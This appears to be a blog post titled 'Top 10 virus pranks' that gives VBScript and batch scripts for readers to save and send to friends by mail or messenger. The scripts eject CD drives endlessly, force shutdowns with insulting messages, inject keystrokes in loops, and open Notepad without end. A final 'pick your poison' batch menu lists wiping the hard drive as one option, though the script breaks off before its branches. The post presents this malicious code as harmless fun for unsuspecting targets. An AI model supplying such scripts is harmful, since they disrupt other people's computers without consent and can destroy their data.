Top 10 virus pranks

Hi Friends! This post is about some harmless Pranks you can pull; you can run these on your friendâs Computer and confuse them for a while.
So be ready to see the amused faces of your friends!
All of these commands are to be typed on the notepad.
1. Continually pop out your friendâs CD Drive. It pops out all of them if he/she has more than one!
Type Code:
Set oWMP = CreateObject(âWMPlayer.OCX.7â)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count â 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count â 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as Anything.VBS
and send it.
2. Convey your friend a little message and shut down his/her computer:
Type Code:
@echo off
msg * I donât like you
shutdown -c âError! You are too stupid!â -s
Save it as Anything.BAT
in All Files and send it.
3. Toggle your friendâs Caps Lock button simultaneously:
Type Code:
Set wshShell =wscript.CreateObject(âWScript.Shellâ)
do
wscript.sleep 100
wshshell.sendkeys â{CAPSLOCK}â
loop
Save it as Anything.VBS
and send it.
4. Frustrate your friend by making this VBScript hit Enter simultaneously:
Type Code:
Set wshShell = wscript.CreateObject(âWScript.Shellâ)
do
wscript.sleep 100
wshshell.sendkeys â~(enter)â
loop
Save it as Anything.VBS
and send it.
5. Open Notepad, slowly types âHello, how are you? I am good, thanksâ and freak your friend out:
Type Code:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(âWScript.Shellâ)
WshShell.Run ânotepadâ
WScript.Sleep 100
WshShell.AppActivate âNotepadâ
WScript.Sleep 500
WshShell.SendKeys âHelâ
WScript.Sleep 500
WshShell.SendKeys âlo â
WScript.Sleep 500
WshShell.SendKeys â, hoâ
WScript.Sleep 500
WshShell.SendKeys âw aâ
WScript.Sleep 500
WshShell.SendKeys âre â
WScript.Sleep 500
WshShell.SendKeys âyouâ
WScript.Sleep 500
WshShell.SendKeys â? â
WScript.Sleep 500
WshShell.SendKeys âI aâ
WScript.Sleep 500
WshShell.SendKeys âm gâ
WScript.Sleep 500
WshShell.SendKeys âoodâ
WScript.Sleep 500
WshShell.SendKeys â thâ
WScript.Sleep 500
WshShell.SendKeys âankâ
WScript.Sleep 500
WshShell.SendKeys âs! â
Save it as Anything.VBS
and send it.
6. Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type Code:
MsgBox âLetâs go back a few stepsâ
Set wshShell =wscript.CreateObject(âWScript.Shellâ)
do
wscript.sleep 100
wshshell.sendkeys â{bs}â
loop
Save it as Anything.VBS
and send it.
7. Hack your friendâs keyboard and make him type âYou are a foolâ simultaneously:
Type Code:
Set wshShell = wscript.CreateObject(âWScript.Shellâ)
do
wscript.sleep 100
wshshell.sendkeys âYou are a fool.â
loop
Save it as Anything.VBS
and send it.
8. Open Notepad continually on your friendâs computer:
Type Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save it as Anything.BAT
and send it.
10. Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a specific action:
- Shutdown
- Restart
- Wipes out your hard drive (BEWARE)
- Net send
- Messages then shutdown
Type Code:
@echo off
title The end of the world
cd C:\
:menu
cls
echo "I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press âxâ then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etcâŚ"
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (youâre boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
Save it as Anything.BAT
and send it.
Mail it or Send it via messenger
To get rid of it, Shutdown/Restart your Computer or end the Process